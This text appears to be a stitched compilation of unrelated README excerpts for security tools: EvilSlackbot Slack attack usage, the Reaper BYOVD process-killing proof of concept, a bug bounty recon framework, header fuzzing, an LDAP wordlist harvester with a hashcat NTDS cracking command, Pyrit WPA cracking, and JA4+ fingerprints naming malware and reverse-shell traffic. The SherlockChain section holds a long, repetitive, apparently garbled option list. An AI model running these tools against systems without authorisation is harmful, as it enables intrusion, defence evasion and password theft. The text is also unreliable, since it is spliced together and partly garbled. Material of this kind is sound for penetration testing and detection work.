python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -cH <Channel name>
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL Email of target
-cH CHANNEL, --channel CHANNEL Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks associated with your provided token.
-o OUTFILE, --outfile OUTFILE Outfile to store search results
-cL, --channel_list List all public Slack channels
With the correct permissions, EvilSlackbot can search for and list all of the public channels within the Slack workspace. This can help with planning where to send channel messages. Use -o to write the list to an outfile.
python3 EvilSlackbot.py -t <xoxb token> -cL
Reaper is a proof-of-concept designed to exploit BYOVD (Bring Your Own Vulnerable Driver) driver vulnerability. This malicious technique involves inserting a legitimate, vulnerable driver into a target system, which allows attackers to exploit the driver to perform malicious actions.
Reaper was specifically designed to exploit the vulnerability present in the kprocesshacker.sys driver in version 2.8.0.0, taking advantage of its weaknesses to gain privileged access and control over the target system.
Note: Reaper does not kill the Windows Defender process, as it has a protection, Reaper is a simple proof of concept.
____
/ __ \___ ____ _____ ___ _____
/ /_/ / _ \/ __ `/ __ \/ _ \/ ___/
/ _, _/ __/ /_/ / /_/ / __/ /
/_/ |_|\___/\__,_/ .___/\___/_/
/_/
[Coded by MrEmpy]
[v1.0]
Usage: C:\Windows\Temp\Reaper.exe [OPTIONS] [VALUES]
Options:
sp, suspend process
kp, kill process
Values:
PROCESSID process id to suspend/kill
Examples:
Reaper.exe sp 1337
Reaper.exe kp 1337
You can compile it directly from the source code or download it already compiled. You will need Visual Studio 2022 to compile.
Note: The executable and driver must be in the same directory.
Howdy! My name is Harrison Richardson, or rs0n (arson) when I want to feel cooler than I really am. The code in this repository started as a small collection of scripts to help automate many of the common Bug Bounty hunting processes I found myself repeating. Over time, I built a simple web application with a MongoDB connection to manage my findings and identify valuable data points. After 5 years of Bug Bounty hunting, both part-time and full-time, I'm finally ready to package this collection of tools into a proper framework.
The Ars0n Framework is designed to provide aspiring Application Security Engineers with all the tools they need to leverage Bug Bounty hunting as a means to learn valuable, real-world AppSec concepts and make ๐ฐ doing it! My goal is to lower the barrier of entry for Bug Bounty hunting by providing easy-to-use automation tools in combination with educational content and how-to guides for a wide range of Web-based and Cloud-based vulnerabilities. In combination with my YouTube content, this framework will help aspiring Application Security Engineers to quickly and easily understand real-world security concepts that directly translate to a high paying career in Cyber Security.
In addition to using this tool for Bug Bounty Hunting, aspiring engineers can also use this Github Repository as a canvas to practice collaborating with other developers! This tool was inspired by Metasploit and designed to be modular in a similar way. Each Script (Ex: wildfire.py or slowburn.py) is basically an algorithm that runs the Modules (Ex: fire-starter.py or fire-scanner.py) in a specific patter for a desired result. Because of this design, the community is free to build new Scripts to solve a specific use-case or Modules to expand the results of these Scripts. By learning the code in this framework and using Github to contribute your own code, aspiring engineers will continue to learn real-world skills that can be applied on the first day of a Security Engineer I position.
My hope is that this modular framework will act as a canvas to help share what I've learned over my career to the next generation of Security Engineers! Trust me, we need all the help we can get!!
Paste this code block into a clean installation of Kali Linux 2023.4 to download, install, and run the latest stable Alpha version of the framework:
sudo apt update && sudo apt-get update
sudo apt -y upgrade && sudo apt-get -y upgrade
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
cd ars0n-framework
./install.sh
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
The Ars0n Framework includes a script that installs all the necessary tools, packages, etc. that are needed to run the framework on a clean installation of Kali Linux 2023.4.
Please note that the only supported installation of this framework is on a clean installation of Kali Linux 2023.3. If you choose to try and run the framework outside of a clean Kali install, I will not be able to help troubleshoot if you have any issues.
./install.sh
This video shows exactly what to expect from a successful installation.
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./install.sh --arm
You will be prompted to enter various API keys and tokens when the installation begins. Entering these is not required to run the core functionality of the framework. If you do not enter these API keys and tokens at the time of installation, simply hit enter at each of the prompts. The keys can be added later to the ~/.keys directory. More information about how to add these keys manually can be found in the Frequently Asked Questions section of this README.
Once the installation is complete, you will be given the option to run the application by entering Y. If you choose not the run the application immediately, or if you need to run the application after a reboot, simply navigate to the root directly and run the run.sh bash script.
./run.sh
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./run.sh --arm
The Ars0n Framework's Core Modules are used to determine the basic scanning logic. Each script is designed to support a specific recon methodology based on what the user is trying to accomplish.
At this time, the Wildfire script is the most widely used Core Module in the Ars0n Framework. The purpose of this module is to allow the user to scan multiple targets that allow for testing on any subdomain discovered by the researcher.
How it works:
Most Wildfire scans take between 8 and 48 hours to complete against a single domain if all Sub-Modules are being run. Variations in this timing can be caused by a number of factors, including the target application and the machine running the framework.
Also, please note that most data will not show in the GUI until the scan has completed. It's best to try and run the scan overnight or over a weekend, depending on the number of domains being scanned, and return once the scan has complete to move from Recon to Enumeration.
Running Wildfire:
Wildfire can be run from the GUI using the Wildfire button on the dashboard. Once clicked, the front-end will use the checkboxes on the screen to determine what flags should be passed to the scanner.
Please note that running scans from the GUI still has a few bugs and edge cases that haven't been sorted out. If you have any issues, you can simply run the scan form the CLI.
All Core Modules for The Ars0n Framework are stored in the /toolkit directory. Simply navigate to the directory and run wildfire.py with the necessary flags. At least one Sub-Module flag must be provided.
python3 wildfire.py --start --cloud --scan
Unlike the Wildfire module, which requires the user to identify target domains to scan, the Slowburn module does that work for you. By communicating with APIs for various bug bounty hunting platforms, this script will identify all domains that allow for testing on any discovered subdomain. Once the data has been populated, Slowburn will randomly choose one domain at a time to scan in the same way Wildfire does.
Please note that the Slowburn module is still in development and is not considered part of the stable alpha release. There will likely be bugs and edge cases encountered by the user.
In order for Slowburn to identify targets to scan, it must first be initialized. This initialization step collects the necessary data from various API's and deposits them into a JSON file stored locally. Once this initialization step is complete, Slowburn will automatically begin selecting and scanning one target at a time.
To initalize Slowburn, simply run the following command:
python3 slowburn.py --initialize
Once the data has been collected, it is up to the user whether they want to re-initialize the tool upon the next scan.
Remember that the scope and targets on public bug bounty programs can change frequently. If you choose to run Slowburn without initializing the data, you may be scanning domains that are no longer in scope for the program. It is strongly recommended that Slowburn be re-initialized each time before running.
If you choose not to re-initialize the target data, you can run Slowburn using the previously collected data with the following command:
python3 slowburn.py
The Ars0n Framework's Sub-Modules are designed to be leveraged by the Core Modules to divide the Recon & Enumeration phases into specific tasks. The data collected in each Sub-Module is used by the others to expand your picture of the target's attack surface.
Fire-Starter is the first step to performing recon against a target domain. The goal of this script is to collect a wealth of information about the attack surface of your target. Once collected, this data will be used by all other Sub-Modules to help the user identify a specific URL that is potentially vulnerable.
Fire-Starter works by running a series of open-source tools to enumerate hidden subdomains, DNS records, and the ASN's to identify where those external entries are hosted. Currently, Fire-Starter works by chaining together the following widely used open-source tools:
These tools cover a wide range of techniques to identify hidden subdomains, including web scraping, brute force, and crawling to identify links and JavaScript URLs.
Once the scan is complete, the Dashboard will be updated and available to the user.
Most Sub-Modules in The Ars0n Framework requre the data collected from the Fire-Starter module to work. With this in mind, Fire-Starter must be included in the first scan against a target for any usable data to be collected.
Coming soon...
Fire-Scanner uses the results of Fire-Starter and Fire-Cloud to perform Wide-Band Scanning against all subdomains and cloud services that have been discovered from previous scans.
At this stage of development, this script leverages Nuclei almost exclusively for all scanning. Instead of simply running the tool, Fire-Scanner breaks the scan down into specific collections of Nuclei Templates and scans them one by one. This strategy helps ensure the scans are stable and produce consistent results, removes any unnecessary or unsafe scan checks, and produces actionable results.
The vast majority of issues installing and/or running the Ars0n Framework are caused by not installing the tool on a clean installation of Kali Linux.
It is important to remember that, at its core, the Ars0n Framework is a collection of automation scripts designed to run existing open-source tools. Each of these tools have their own ways of operating and can experience unexpected behavior if conflicts emerge with any existing service/tool running on the user's system. This complexity is the reason why running The Ars0n Framework should only be run on a clean installation of Kali Linux.
Another very common issue users experience is caused by MongoDB not successfully installing and/or running on their machine. The most common manifestation of this issue is the user is unable to add an initial FQDN and simply sees a broken GUI. If this occurs, please ensure that your machine has the necessary system requirements to run MongoDB. Unfortunately, there is no current solution if you run into this issue.
Coming soon...
To install headerpwn, run the following command:
go install github.com/devanshbatham/headerpwn@v0.0.3
headerpwn allows you to test various headers on a target URL and analyze the responses. Here's how to use the tool:
-url flag.-headers flag to specify the path to this file.Example usage:
headerpwn -url https://example.com -headers my_headers.txt
my_headers.txt should be like below:Proxy-Authenticate: foobar
Proxy-Authentication-Required: foobar
Proxy-Authorization: foobar
Proxy-Connection: foobar
Proxy-Host: foobar
Proxy-Http: foobar
Follow following steps to proxy requests through Burp Suite:
Export Burp's Certificate:
127.0.0.1:8080
Install Burp's Certificate:
You should be all set:
headerpwn -url https://example.com -headers my_headers.txt -proxy 127.0.0.1:8080
The headers.txt file is compiled from various sources, including the SecLists">Seclists project. These headers are used for testing purposes and provide a variety of scenarios for analyzing how servers respond to different headers.
A tool to generate a wordlist from the information present in LDAP, in order to crack non-random passwords of domain accounts.
ย
The bigger the domain is, the better the wordlist will be.
name and sAMAccountName
name and sAMAccountName
name
name
name and descriptions
descriptions
--outputfile
To generate a wordlist from the LDAP of the domain domain.local you can use this command:
./LDAPWordlistHarvester.py -d 'domain.local' -u 'Administrator' -p 'P@ssw0rd123!' --dc-ip 192.168.1.101
You will get the following output if using the Python version:
You will get the following output if using the Powershell version:
Once you have this wordlist, you should crack your NTDS using hashcat, --loopback and the rule clem9669_large.rule.
./hashcat --hash-type 1000 --potfile-path ./client.potfile ./client.ntds ./wordlist.txt --rules ./clem9669_large.rule --loopback
$ ./LDAPWordlistHarvester.py -h
LDAPWordlistHarvester.py v1.1 - by @podalirius_
usage: LDAPWordlistHarvester.py [-h] [-v] [-o OUTPUTFILE] --dc-ip ip address [-d DOMAIN] [-u USER] [--ldaps] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] [-k]
options:
-h, --help show this help message and exit
-v, --verbose Verbose mode. (default: False)
-o OUTPUTFILE, --outputfile OUTPUTFILE
Path to output file of wordlist.
Authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
--ldaps Use LDAPS instead of LDAP
Credentials:
--no- pass Don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
Password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
Pyrit allows you to create massive databases of pre-computed WPA/WPA2-PSK authentication phase in a space-time-tradeoff. By using the computational power of Multi-Core CPUs and other platforms through ATI-Stream,Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.
WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from the master key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog (Outdated).
The author does not encourage or support using Pyrit for the infringement of peoples' communication-privacy. The exploration and realization of the technology discussed here motivate as a purpose of their own; this is documented by the open development, strictly sourcecode-based distribution and 'copyleft'-licensing.
Pyrit is free software - free as in freedom. Everyone can inspect, copy or modify it and share derived work under the GNU General Public License v3+. It compiles and executes on a wide variety of platforms including FreeBSD, MacOS X and Linux as operation-system and x86-, alpha-, arm-, hppa-, mips-, powerpc-, s390 and sparc-processors.
Attacking WPA/WPA2 by brute-force boils down to to computing Pairwise Master Keys as fast as possible. Every Pairwise Master Key is 'worth' exactly one megabyte of data getting pushed through PBKDF2-HMAC-SHA1. In turn, computing 10.000 PMKs per second is equivalent to hashing 9,8 gigabyte of data with SHA1 in one second.
These are examples of how multiple computational nodes can access a single storage server over various ways provided by Pyrit:
See CHANGELOG file for a better description.
Pyrit compiles and runs fine on Linux, MacOS X and BSD. I don't care about Windows; drop me a line (read: patch) if you make Pyrit work without copying half of GNU ... A guide for installing Pyrit on your system can be found in the wiki. There is also a Tutorial and a reference manual for the commandline-client.
You may want to read this wiki-entry if interested in porting Pyrit to new hardware-platform. Contributions or bug reports you should [submit an Issue] (https://github.com/JPaulMora/Pyrit/issues).
SherlockChain is a powerful smart contract analysis framework that combines the capabilities of the renowned Slither tool with advanced AI-powered features. Developed by a team of security experts and AI researchers, SherlockChain offers unparalleled insights and vulnerability detection for Solidity, Vyper and Plutus smart contracts.
To install SherlockChain, follow these steps:
git clone https://github.com/0xQuantumCoder/SherlockChain.git
cd SherlockChain
pip install .
SherlockChain's AI integration brings several advanced capabilities to the table:
Natural Language Interaction: Users can interact with SherlockChain using natural language, allowing them to query the tool, request specific analyses, and receive detailed responses. he --help command in the SherlockChain framework provides a comprehensive overview of all the available options and features. It includes information on:
Vulnerability Detection: The --detect and --exclude-detectors options allow users to specify which vulnerability detectors to run, including both built-in and AI-powered detectors.
--report-format, --report-output, and various --report-* options control how the analysis results are reported, including the ability to generate reports in different formats (JSON, Markdown, SARIF, etc.).--filter-* options enable users to filter the reported issues based on severity, impact, confidence, and other criteria.--ai-* options allow users to configure and control the AI-powered features of SherlockChain, such as prioritizing high-impact vulnerabilities, enabling specific AI detectors, and managing AI model configurations.--truffle and --truffle-build-directory facilitate the integration of SherlockChain into popular development frameworks like Truffle.The --help command provides a detailed explanation of each option, its purpose, and how to use it, making it a valuable resource for users to quickly understand and leverage the full capabilities of the SherlockChain framework.
Example usage:
sherlockchain --help
This will display the comprehensive usage guide for the SherlockChain framework, including all available options and their descriptions.
usage: sherlockchain [-h] [--version] [--solc-remaps SOLC_REMAPS] [--solc-settings SOLC_SETTINGS]
[--solc-version SOLC_VERSION] [--truffle] [--truffle-build-directory TRUFFLE_BUILD_DIRECTORY]
[--truffle-config-file TRUFFLE_CONFIG_FILE] [--compile] [--list-detectors]
[--list-detectors-info] [--detect DETECTORS] [--exclude-detectors EXCLUDE_DETECTORS]
[--print-issues] [--json] [--markdown] [--sarif] [--text] [--zip] [--output OUTPUT]
[--filter-paths FILTER_PATHS] [--filter-paths-exclude FILTER_PATHS_EXCLUDE]
[--filter-contracts FILTER_CONTRACTS] [--filter-contracts-exclude FILTER_CONTRACTS_EXCLUDE]
[--filter-severity FILTER_SEVERITY] [--filter-impact FILTER_IMPACT]
[--filter-confidence FILTER_CONFIDENCE] [--filter-check-suicidal]
[--filter-check-upgradeable] [--f ilter-check-erc20] [--filter-check-erc721]
[--filter-check-reentrancy] [--filter-check-gas-optimization] [--filter-check-code-quality]
[--filter-check-best-practices] [--filter-check-ai-detectors] [--filter-check-all]
[--filter-check-none] [--check-all] [--check-suicidal] [--check-upgradeable]
[--check-erc20] [--check-erc721] [--check-reentrancy] [--check-gas-optimization]
[--check-code-quality] [--check-best-practices] [--check-ai-detectors] [--check-none]
[--check-all-detectors] [--check-all-severity] [--check-all-impact] [--check-all-confidence]
[--check-all-categories] [--check-all-filters] [--check-all-options] [--check-all]
[--check-none] [--report-format {json,markdown,sarif,text,zip}] [--report-output OUTPUT]
[--report-severity REPORT_SEVERITY] [--report-impact R EPORT_IMPACT]
[--report-confidence REPORT_CONFIDENCE] [--report-check-suicidal]
[--report-check-upgradeable] [--report-check-erc20] [--report-check-erc721]
[--report-check-reentrancy] [--report-check-gas-optimization] [--report-check-code-quality]
[--report-check-best-practices] [--report-check-ai-detectors] [--report-check-all]
[--report-check-none] [--report-all] [--report-suicidal] [--report-upgradeable]
[--report-erc20] [--report-erc721] [--report-reentrancy] [--report-gas-optimization]
[--report-code-quality] [--report-best-practices] [--report-ai-detectors] [--report-none]
[--report-all-detectors] [--report-all-severity] [--report-all-impact]
[--report-all-confidence] [--report-all-categories] [--report-all-filters]
[--report-all-options] [- -report-all] [--report-none] [--ai-enabled] [--ai-disabled]
[--ai-priority-high] [--ai-priority-medium] [--ai-priority-low] [--ai-priority-all]
[--ai-priority-none] [--ai-confidence-high] [--ai-confidence-medium] [--ai-confidence-low]
[--ai-confidence-all] [--ai-confidence-none] [--ai-detectors-all] [--ai-detectors-none]
[--ai-detectors-specific AI_DETECTORS_SPECIFIC] [--ai-detectors-exclude AI_DETECTORS_EXCLUDE]
[--ai-models-path AI_MODELS_PATH] [--ai-models-update] [--ai-models-download]
[--ai-models-list] [--ai-models-info] [--ai-models-version] [--ai-models-check]
[--ai-models-upgrade] [--ai-models-remove] [--ai-models-clean] [--ai-models-reset]
[--ai-models-backup] [--ai-models-restore] [--ai-models-export] [--ai-models-import]
[--ai-models-config AI_MODELS_CONFIG] [--ai-models-config-update] [--ai-models-config-reset]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-list]
[--ai-models-config-info] [--ai-models-config-version] [--ai-models-config-check]
[--ai-models-config-upgrade] [--ai-models-config-remove] [--ai-models-config-clean]
[--ai-models-config-reset] [--ai-models-config-backup] [--ai-models-config-restore]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-path AI_MODELS_CONFIG_PATH]
[--ai-models-config-file AI_MODELS_CONFIG_FILE] [--ai-models-config-url AI_MODELS_CONFIG_URL]
[--ai-models-config-name AI_MODELS_CONFIG_NAME] [--ai-models-config-description AI_MODELS_CONFIG_DESCRIPTION]
[--ai-models-config-version-major AI_MODELS_CONFIG_VERSION_MAJOR]
[--ai-models-config- version-minor AI_MODELS_CONFIG_VERSION_MINOR]
[--ai-models-config-version-patch AI_MODELS_CONFIG_VERSION_PATCH]
[--ai-models-config-author AI_MODELS_CONFIG_AUTHOR]
[--ai-models-config-license AI_MODELS_CONFIG_LICENSE]
[--ai-models-config-url-documentation AI_MODELS_CONFIG_URL_DOCUMENTATION]
[--ai-models-config-url-source AI_MODELS_CONFIG_URL_SOURCE]
[--ai-models-config-url-issues AI_MODELS_CONFIG_URL_ISSUES]
[--ai-models-config-url-changelog AI_MODELS_CONFIG_URL_CHANGELOG]
[--ai-models-config-url-support AI_MODELS_CONFIG_URL_SUPPORT]
[--ai-models-config-url-website AI_MODELS_CONFIG_URL_WEBSITE]
[--ai-models-config-url-logo AI_MODELS_CONFIG_URL_LOGO]
[--ai-models-config-url-icon AI_MODELS_CONFIG_URL_ICON]
[--ai-models-config-url-banner AI_MODELS_CONFIG_URL_BANNER]
[--ai-models-config-url-screenshot AI_MODELS_CONFIG_URL_SCREENSHOT]
[--ai-models-config-url-video AI_MODELS_CONFIG_URL_VIDEO]
[--ai-models-config-url-demo AI_MODELS_CONFIG_URL_DEMO]
[--ai-models-config-url-documentation-api AI_MODELS_CONFIG_URL_DOCUMENTATION_API]
[--ai-models-config-url-documentation-user AI_MODELS_CONFIG_URL_DOCUMENTATION_USER]
[--ai-models-config-url-documentation-developer AI_MODELS_CONFIG_URL_DOCUMENTATION_DEVELOPER]
[--ai-models-config-url-documentation-faq AI_MODELS_CONFIG_URL_DOCUMENTATION_FAQ]
[--ai-models-config-url-documentation-tutorial AI_MODELS_CONFIG_URL_DOCUMENTATION_TUTORIAL]
[--ai-models-config-url-documentation-guide AI_MODELS_CONFIG_URL_DOCUMENTATION_GUIDE]
[--ai-models-config-url-documentation-whitepaper AI_MODELS_CONFIG_URL_DOCUMENTATION_WHITEPAPER]
[--ai-models-config-url-documentation-roadmap AI_MODELS_CONFIG_URL_DOCUMENTATION_ROADMAP]
[--ai-models-config-url-documentation-blog AI_MODELS_CONFIG_URL_DOCUMENTATION_BLOG]
[--ai-models-config-url-documentation-community AI_MODELS_CONFIG_URL_DOCUMENTATION_COMMUNITY]
This comprehensive usage guide provides information on all the available options and features of the SherlockChain framework, including:
--detect, --exclude-detectors
--report-format, --report-output, --report-*
--filter-*
--ai-*
--truffle, --truffle-build-directory
--compile, --list-detectors, --list-detectors-info
By reviewing this comprehensive usage guide, you can quickly understand how to leverage the full capabilities of the SherlockChain framework to analyze your smart contracts and identify potential vulnerabilities. This will help you ensure the security and reliability of your DeFi protocol before deployment.
| Num | Detector | What it Detects | Impact | Confidence |
|---|---|---|---|---|
| 1 | ai-anomaly-detection | Detect anomalous code patterns using advanced AI models | High | High |
| 2 | ai-vulnerability-prediction | Predict potential vulnerabilities using machine learning | High | High |
| 3 | ai-code-optimization | Suggest code optimizations based on AI-driven analysis | Medium | High |
| 4 | ai-contract-complexity | Assess contract complexity and maintainability using AI | Medium | High |
| 5 | ai-gas-optimization | Identify gas-optimizing opportunities with AI | Medium | Medium |
| ## Detectors |
Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.
Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)
A few features are work in progress. See Planned features for more details.
The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.
You can build this repo from source- - Clone the repository
git clone git@github.com:pptx704/domainim
nimble build
./domainim <domain> [--ports=<ports>]
Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.
./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
<domain> is the domain to be enumerated. It can be a subdomain as well.-- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-all - Scan all ports (1-65535)none - Skip port scanning (default)t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.80 scans port 8080-100 scans ports 80 to 10080,443,8080 scans ports 80, 443 and 808080,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports--dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-a.b.c.d - Use DNS server at a.b.c.d on port 53a.b.c.d#n - Use DNS server at a.b.c.d on port e
--wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.--rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.--out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=1.1.1.1
The help menu can be accessed using ./domainim --help or ./domainim -h.
Usage:
domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
domainim (-h | --help)
Options:
-h, --help Show this screen.
-p, --ports Ports to scan. [default: `none`]
Can be `all`, `none`, `t<n>`, single value, range value, combination
-l, --wordlist Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
-d, --dns IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
-r, --rps DNS queries to be made per second [default: 1024 req/s]
-o, --out JSON file where the output will be saved. Filename must end with `.json`
Examples:
domainim domainim.com -p:t500 -l:wordlist.txt --dns:1.1.1.1#53 --out=results.json
domainim sub.domainim.com --ports=all --dns:8.8.8.8 -t:1500 -o:results.json
The JSON schema for the results is as follows-
[
{
"subdomain": string,
"data": [
"ipv4": string,
"vhosts": [string],
"reverse_dns": string,
"ports": [int]
]
}
]
Example json for nmap.org can be found here.
Contributions are welcome. Feel free to open a pull request or an issue.
This project is still in its early stages. There are several limitations I am aware of.
The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).
The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).
It might seem that the way vhostnames are printed, it just brings repeition on the table.
Printing as the following might've been better-
ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
โณ 45.33.49.119
โณ Reverse DNS: ack.nmap.org.
But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.
DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.
One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.
For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.
Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.
MIT License. See LICENSE for full text.
JA4+ is a suite of network Fingerprintingย methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.
Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
JA4T: TCP Fingerprinting (JA4T/TS/TScan)
To understand how to read JA4+ fingerprints, see Technical Details
This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.
JA4/JA4+ support is being added to:
GreyNoise
Hunt
Driftnet
DarkSail
Arkime
GoLang (JA4X)
Suricata
Wireshark
Zeek
nzyme
Netresec's CapLoader
NetworkMiner">Netresec's NetworkMiner
NGINX
F5 BIG-IP
nfdump
ntop's ntopng
ntop's nDPI
Team Cymru
NetQuest
Censys
Exploit.org's Netryx
cloudflare.com/bots/concepts/ja3-ja4-fingerprint/">Cloudflare
fastly
with more to be announced...
| Application | JA4+ Fingerprints |
|---|---|
| Chrome |
JA4=t13d1516h2_8daaf6152771_02713d6af862 (TCP) JA4=q13d0312h3_55b375c5d22e_06cda9e17597 (QUIC) JA4=t13d1517h2_8daaf6152771_b0da82dd1658 (pre-shared key) JA4=t13d1517h2_8daaf6152771_b1ff8ab2d16f (no key) |
| IcedID Malware Dropper | JA4H=ge11cn020000_9ed1ff1f7b03_cd8dafe26982 |
| IcedID Malware |
JA4=t13d201100_2b729b4bf6f3_9e7b989ebec8 JA4S=t120300_c030_5e2616a54c73
|
| Sliver Malware |
JA4=t13d190900_9dc949149365_97f8aa674fd9 JA4S=t130200_1301_a56c5b993250 JA4X=000000000000_4f24da86fad6_bf0f0589fc03 JA4X=000000000000_7c32fa18c13e_bf0f0589fc03
|
| Cobalt Strike |
JA4H=ge11cn060000_4e59edc1297a_4da5efaf0cbd JA4X=2166164053c1_2166164053c1_30d204a01551
|
| SoftEther VPN |
JA4=t13d880900_fcb5b95cb75a_b0d3b4ac2a14 (client) JA4S=t130200_1302_a56c5b993250 JA4X=d55f458d5a6c_d55f458d5a6c_0fc8c171b6ae
|
| Qakbot | JA4X=2bab15409345_af684594efb4_000000000000 |
| Pikabot | JA4X=1a59268f55e5_1a59268f55e5_795797892f9c |
| Darkgate | JA4H=po10nn060000_cdb958d032b0 |
| LummaC2 | JA4H=po11nn050000_d253db9d024b |
| Evilginx | JA4=t13d191000_9dc949149365_e7c285222651 |
| Reverse SSH Shell | JA4SSH=c76s76_c71s59_c0s70 |
| Windows 10 | JA4T=64240_2-1-3-1-1-4_1460_8 |
| Epson Printer | JA4TScan=28960_2-4-8-1-3_1460_3_1-4-8-16 |
For more, see ja4plus-mapping.csv
The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.
Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark
Download the latest JA4 binaries from: Releases.
sudo apt install tshark
./ja4 [options] [pcap]
1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH
